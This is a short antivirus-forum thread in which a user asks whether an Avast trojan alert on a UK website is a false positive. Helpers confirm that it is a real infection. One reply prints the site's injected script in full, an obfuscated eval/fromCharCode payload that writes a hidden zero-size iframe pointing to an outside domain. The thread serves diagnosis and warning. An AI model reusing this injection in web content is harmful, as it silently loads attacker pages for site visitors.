HTML:IFrame-EB [Trj] on capitate.co.uk - is this a false positive?

Viruses and worms
1

Hello all, I’m new on this forum.
Avast has detected HTML:IFrame-EB [Trj] on hXXp://wXw.capitate.co.uk
My browser is Firefox 3.5.1 on XP SP3.

Is this a false positive?

Thank you for your help

2

I can’t access the site. wXw.uk.com/oops/ is displayed whenever I click on it.

Note: Please modify your post. Change www to wxw to prevent accidental clicks on the suspected link.

3

I’m sorry, the link was wrong. Now I put the correct one.

4

So here is the dangerous script outside tag:

<script>eval(unescape("document.write%28String.fromCharCode%2860%2C105%2C102%2C114%2C97%2C109%2C101%2C32%2C115%2C114%2C99%2C61%2C34%2C104%2C116%2C116%2C112%2C58%2C47%2C47%2C100%2C97%2C115%2C114%2C101%2C116%2C111%2C107%2C102%2C105%2C110%2C46%2C99%2C111%2C109%2C47%2C105%2C110%2C100%2C101%2C120%2C46%2C112%2C104%2C112%2C34%2C32%2C119%2C105%2C100%2C116%2C104%2C61%2C34%2C48%2C34%2C32%2C104%2C101%2C105%2C103%2C104%2C116%2C61%2C34%2C48%2C34%2C32%2C115%2C116%2C121%2C108%2C101%2C61%2C34%2C100%2C105%2C115%2C112%2C108%2C97%2C121%2C58%2C110%2C111%2C110%2C101%2C59%2C34%2C62%2C60%2C47%2C105%2C102%2C114%2C97%2C109%2C101%2C62%29%29%3B"));<script>

By the way, sorry for another request, please modify your http:// to hXXp://

5

Sorry for the stupid question by someone not expert; what to do now with the code you found? ???

Thank you again for your help

6

hey albe

dont worry about the code if you are a novice. just know that the site is affected. that is it. and it is not a false positive.

7

thank you. really great support from you all!!!

8

you are welcome,

come back if you have any problems.

9

You should modify the code as pasting the complete script ‘could’ cause avast to alert on the post as has happened in the past. This is why I use images to show the offending script/s as it is (for me) quicker than physically editing the script.